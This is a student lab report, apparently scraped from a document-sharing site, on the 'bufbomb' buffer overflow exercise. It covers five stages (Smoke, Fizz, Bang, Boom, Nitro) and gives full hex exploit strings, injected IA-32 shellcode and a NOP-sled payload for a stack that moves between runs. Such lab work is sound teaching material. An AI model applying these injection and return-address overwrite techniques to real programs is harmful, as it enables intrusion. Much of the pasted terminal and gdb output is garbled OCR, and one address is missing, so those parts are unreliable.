西北工業(yè)大學(xué)_第1頁
西北工業(yè)大學(xué)_第2頁
西北工業(yè)大學(xué)_第3頁
西北工業(yè)大學(xué)_第4頁
西北工業(yè)大學(xué)_第5頁
已閱讀5頁,還剩4頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

西北工業(yè)大學(xué)計(jì)算機(jī)系統(tǒng)基礎(chǔ)實(shí)驗(yàn)報(bào)告姓名 班級 學(xué)號 實(shí)驗(yàn)成績 指導(dǎo)教師 實(shí)驗(yàn)名稱 緩沖區(qū)溢出攻擊實(shí)驗(yàn)?zāi)康模和ㄟ^使目標(biāo)程序跳轉(zhuǎn)到我們預(yù)定的位置執(zhí)行,從而加深對IA-32函數(shù)調(diào)用規(guī)則和棧幀結(jié)構(gòu)的理解。實(shí)驗(yàn)工具:linux、gdb調(diào)試器、反匯編工具objdump、將16進(jìn)制數(shù)轉(zhuǎn)化為ASCII碼的工具h(yuǎn)ex2raw。實(shí)驗(yàn)要求:對一個可執(zhí)行程序“bufbomb”實(shí)施一系列緩沖區(qū)溢出攻擊,也就是設(shè)法通過造成緩沖區(qū)溢出來改變該可執(zhí)行程序的運(yùn)行內(nèi)存映像,繼而執(zhí)行一些原來程序中沒有的行為,例如將給定的字節(jié)序列插入到其本不應(yīng)出現(xiàn)的內(nèi)存位置等。實(shí)驗(yàn)內(nèi)容:一、Smoke(讓目標(biāo)程序調(diào)用smoke函數(shù))本實(shí)驗(yàn)利用getbuf()函數(shù)不檢查讀取字符串長度的漏洞破壞該程序棧幀的返回地址從而達(dá)到對主程序造成破壞的目的。首先用objdump指令反匯編生成bufbomb的匯編語言文本文件??梢哉业絞etbuf函數(shù)代碼如下:080491f1<getbuf>:80491f1:55 push%ebp80491f2:8980491f2:89e580491f4:83ec38sub$0x38,%esp80491f7:8d45d8lea-0x28(%ebp),%eax80491fa:890424mov%eax,(%esp)80491fd:e808fbffff call8048d0a<Gets>8049202:b801000000 mov$0x1,%eax8049207:c9leave8049208:c3ret位于<0x80491f7>地址處代碼為預(yù)讀的字符串在棧幀創(chuàng)建了0x28(也就是40)字節(jié)的空間。具體位置可以通過gdb在下一行設(shè)置斷點(diǎn)查找%eax的值得到。為了覆蓋被存在返回地址上的值,我們需要讀入超過系統(tǒng)默認(rèn)40字節(jié)大小的字符串。由于保存的%ebp舊址占據(jù)了4字節(jié)所以當(dāng)我們的輸入字符串為48字節(jié)時(shí),最后4位剛好覆蓋返回地址。首先,在bufbomb的反匯編源代碼中找到smoke函數(shù),記下它的起始地址。08048c28<smoke>:所以構(gòu)造的攻擊字符轉(zhuǎn)總共48個字節(jié),并且前面44個字節(jié)可以為任意值,對程序的執(zhí)行沒有任何影響,只要最后四個字節(jié)正確地設(shè)置為smoke的起始地址<08048c28>即可,注意使用小端方式寫入。字符串為:0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000288c0408運(yùn)行結(jié)果如下:r&ot0ubuntuM-VtrtualBox:/hoHe/ubuntu&3/feurLflb-handoutffcats-noke.tKtI./hexirawIJlxifbomb-uZO163O325&usertd:Z&1&J03255c&okte:&xsm7bc3TypestringssnokelrYoucalledsm^ktOVALIDidmbj二、Fizz(讓目標(biāo)程序使用特定參數(shù)調(diào)用Fizz函數(shù))和smoke的區(qū)別是要求跳入函數(shù)fizz()且該函數(shù)有一個參數(shù)(要求用所給cookie作參數(shù))。由匯編代碼可以找到fizz函數(shù)的地址是08048c52<fizz>,而且ebp存放了調(diào)用者的舊ebp,其上一位置ebp+4存放了調(diào)用者的返回地址,所以參數(shù)的地址應(yīng)該為ebp+8的位置,只需要將自己的cookie放置在該位置即可。字符串為:0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000528c040800000000c37b985f運(yùn)行結(jié)果如下:ra0t@ubuntu64-VtrtualB&3t:/[hoRe/ubtjintu64/buflab-handout#catflzz.tjct|./hex2rau|r/bufbomb-u2016301255Userid:2^16303255cookie:Ox5f907bc:3Typestring:Ftzz]:Youcalledflzz(&x5f997bc3)VALIDNICEJd?!三、Bang(讓目標(biāo)程序調(diào)用Bang函數(shù),并篡改全局變量)08048cad<bang>可以知道bang函數(shù)的地址為0x08048cad,通過閱讀bang函數(shù)的代碼,可以推斷出全局變量global_value和cookie的地址。(gcfb)bbangBreakpoint1atexee4flcb3Cgdb)「-w <bang,bin(Startifigprogram:/hone/ubuntu64/bjflab-handout/bufbomb-u20163&325S<bang.btnUsertd:Z01539BZ55CODkte:0)t5f9B7b(13Breakpoint1,Ox的04Eu亦tnbang()[gdb)displayf\$pc1:x/t$j>c=>0^804Scb3<bang+<5>;new[gdb)display/xSeaxZ:/xSeax=Bxl(gdb)niaxss&4acbBLnbang()1:x/iSpc=a0x^043cbd^bang+ll>:cmp2:/x =9x0(gdh)jt/iKwQKsa4die&耿時(shí)4dl卿<caokie>i Q>t5f987bc3global_value的地址是<>cookie的地址是<0x5f987bc3>于是自己寫匯編代碼如下:movl$0x5f987bc3,0x0804d100pushl$0x08048cadret先將global_value用mov指令變成cookie(0x0804dl00前不加$表示地址),然后將bang()函數(shù)地址<0x08048cad>寫給esp,再執(zhí)行ret指令時(shí),程序自動跳入bang()函數(shù)。將自己寫的匯編代碼變成機(jī)器代碼。

r□otgubuntu64-VirtualBoxi/hDme/fubuntijfi^/buflab-hacidout#gcc-m32-cbangsmot@ubuntu64-VirtualBox:/home/iubuntii64/biijfslab-^handoutsabjdump-dbang.dfilefornatelfJ2-i3&6Dlisassenblyofsection?text:覧C705di&4?EC3n&vl5&k5f907bc3,OKS04dl&&7:7bd:68dd8c045&pushS&x804Bcadf:匚3ret將指令代碼抄入攻擊文件,除此之外我們還需要找到輸入字符串存放的位置作為第一次ret指令的目標(biāo)位置,經(jīng)過gdb調(diào)試分析getbuf()申請的40字節(jié)緩沖區(qū)首地址為<0x55682f38>。(gdb)bgetbufBreakpoint1at0x80491f7(gdb}r-u201630325SStartingprogr^rn:/hoE^Jifbuntu&Q/buflsb-hsrKiQut/birfboFib20163&325Susertdr20163S325Scookte:0KSf9B7bc3日redkpotmt1,9K0BO491fTLngttbuf()(gdb)dtspldy/t$pc1:x/t$pc=3-flx8O491f7vgetbuf*?》: lea-Sx2S(%ebp),Keax!(gdb)dtspldy/x$ea?t2:/xStay=a)t2Sisf644(gdb)ntax0aa49ifaIngetbuf()iin/t$pt=aflx8fl49!f*vgetbuf*弓f: raavWeax,(TEesp)2J/X =&k5SfiS2f3S所以bang.txt內(nèi)容如下:c70500d10408c37b985f68ad8c0408c300000000000000000000000000000000000000000000000000000000382f6855運(yùn)行結(jié)果如下:root^ubuntu^^-VirtuaieDX:/horaE/u^untu64/bufla^-handaut#catbang.txtj./hexSrsw|u/bufbomb-u2^153&325SUsertd:Z&16303255c&&kle:&x5f?87bc3Typestring:Bamg!:Yousetglobal_valuete0x5f9&7bc3VALIDNICEJ0B1四、Boom(無感攻擊,并傳遞有效返回值)getbuf()結(jié)束后回到test()原本的位置(即callgetbuf后的下一行),并將cookie作為getbuf()的返回值傳給test()。保存的ebp舊址被復(fù)原,這樣來原程序就完全不會因?yàn)橥獠抗舳鲥e崩潰,也就是退出攻擊后要保證??臻g還原。8048dc9:e8230400008048dc9:e8230400008048dce: 89c3call80491f1<getbuf>mov%eax,%ebx可以知道在test函數(shù)中g(shù)etbuf()在<0x08048dc9>被執(zhí)行因此正確的跳轉(zhuǎn)地址為<0x08048dce>另外,要還原棧幀,我們必須知道在調(diào)用getbuf()之前的原始ebp的值,這里使用gdb調(diào)試來獲取,可以在<0x08048dc9>(準(zhǔn)備進(jìn)入getbuf函數(shù))設(shè)置斷點(diǎn),然后查看進(jìn)入getbuf之前的%ebp寄存器值,這里我們得到的舊的ebp的值為<0x55682f90>,如下:(gdb)bw0xBiSJ4£Ldc^Breakpoint1at0x8048dc9(gdb.)r-uZfidbMJitss:Starttngprogran:/home/ubuntu64/bufIab-handout/bufbombu26163B3255Userid:2016363255Cookie:9x5f987bcJHreakpotrtt1,fljcesaAfldc?intestf)(gdb)displayyt$ebpi:s/i$ebplockpop裁edi自己編寫匯編代碼如下:movl$0x5f987bc3,%eaxpush$0x08048dceret這里通過movl指令將cookie值傳給%eax以返回給test(),然后使得程序跳轉(zhuǎn)到test()中callgetbuf下一條指令正常返回,但是并不在代碼中處理ebp寄存器問題,而是通過在攻擊字符串里面設(shè)置ebp寄存器使得其還原為舊ebp。對其進(jìn)行編譯,然后反匯編得到機(jī)器碼如下:ro(Jt@ubuntuC4-virtudl.Box;/home/ubuntu64/bufldb-handout#gcc-冋32-cbonib+sro&t@ubi}ntu64-VirtualBox:/hone/ubuntu6^l/buflab-handout#objdump-dt>onb.obonb-o: filefornatelf32-1386DisassemblyofsectEon.text:06003000<+text>:B:bsCi7bSTnov$3x5f:9B7bc3,%eaxS:68ce旳08pushS0x834Qdcea:C3ret所以構(gòu)造的攻擊字符串如下:b8c37b985f68ce8d0408c30000000000000000000000000000000000000000000000000000000000902f6855382f6855運(yùn)行結(jié)果如下:roatgubuntufi^-Virtuaieos:/home/ubuntuti4/'buflalb-handout#catbonbutxtj./hexiraw|u/bufborab-u2B163-I&32SE!userid:2^1&363Z55Cookie:0x5f987bc3TypestrlsigiBooaIsgetbtifreturnedVALIDMICEJ0B1五、Nitro(棧幀地址變化時(shí)的有效攻擊)bufbomb調(diào)用testn(),testn()又調(diào)getbufn()。本題的任務(wù)是使getn返回cookie給testn()。題目的棧地址是動態(tài)的,每次都不一樣,bufbomb會連續(xù)要輸入5次字符串,每次都調(diào)用getbufn(),每次的棧地址都不一樣,通過上網(wǎng)查找,我了解到可以使用匯編指令nop(機(jī)器代碼:90)填充輸入字符串,這樣一來在一定范圍內(nèi)無論在哪里進(jìn)入我們的攻擊程序執(zhí)行指令最終都會滑到攻擊代碼。雖然ebp的值每次變化,無法直接賦值,但是在getbufn()程序中ebp和esp值差是一定的,通過gdp查找可以查到相差0x28。08048e36<testn>:8048e36:55push%ebp8048e37:89e5mov%esp,%ebp8048e39:53push%ebx8048e3a:83ec24sub$0x24,%esp8048e3d:e85effffffcall8048da0<uniqueval>8048e42:8945f4mov%eax,-0xc(%ebp)8048e45:e8bf030000call8049209<getbufn>8048e4a:89c3mov%eax,%ebx8048e4c:e84fffffffcall8048da0<uniqueval>通過試運(yùn)行主程序發(fā)現(xiàn)五次inputstring的存儲位置在0x55682ce8到0x55682db8之間,因此如果我們將第一次retaddress定為最高的0x55682db8那么就可以保證五次運(yùn)行執(zhí)行命令都不會在運(yùn)行攻擊程序之前遇到除nop(90)之外的其他指令。又根據(jù)testn開頭的代碼可以知道代碼的返回地址應(yīng)該是0x8048e4a。所以構(gòu)造的攻擊指令并且進(jìn)行編譯反編譯結(jié)果如下:rootglu;bun 4-VirtualBox:/hone/ubuntu64/bu-fIab-handout#gcc-n32-cnitro.sro&tgubufttue^-vtrtualB&x^/hone/ubuntuei/bufliab-hancloutffobjdunp-dnttro.on-ttr(j.&: filefornatelf321386Disassemblyofe已匸tton.text:050000000: bflc37b985fHQV$&x5f9B7bc3dSeax5: 陽阮242Slea0x2S(^espl,Sebp91 陽43860408push$0X804B&4ae: 匚3ret查看getbufn的匯編代碼如下:08049209<getbufn>:

8049209:55push%ebp804920a:89e5mov%esp,%ebp804920c:81ec18020000sub$0x218,%esp8049212:8d85f8fdfffflea-0x208(%ebp),%eax8049218:890424mov%eax,(%esp)804921b:e8eafaffffcall8048d0a<Gets>8049220:b801000000mov$0x1,%eax8049225:c9leave8049226:c3ret得知寫入字符串的首地址為-0x208(%ebp),而返回地址位于0x4(%ebp),因此我們需填充524個字節(jié)的字符,再寫4個字節(jié)覆蓋getbufn()的返回地址。填充字符串如下:90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090

9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論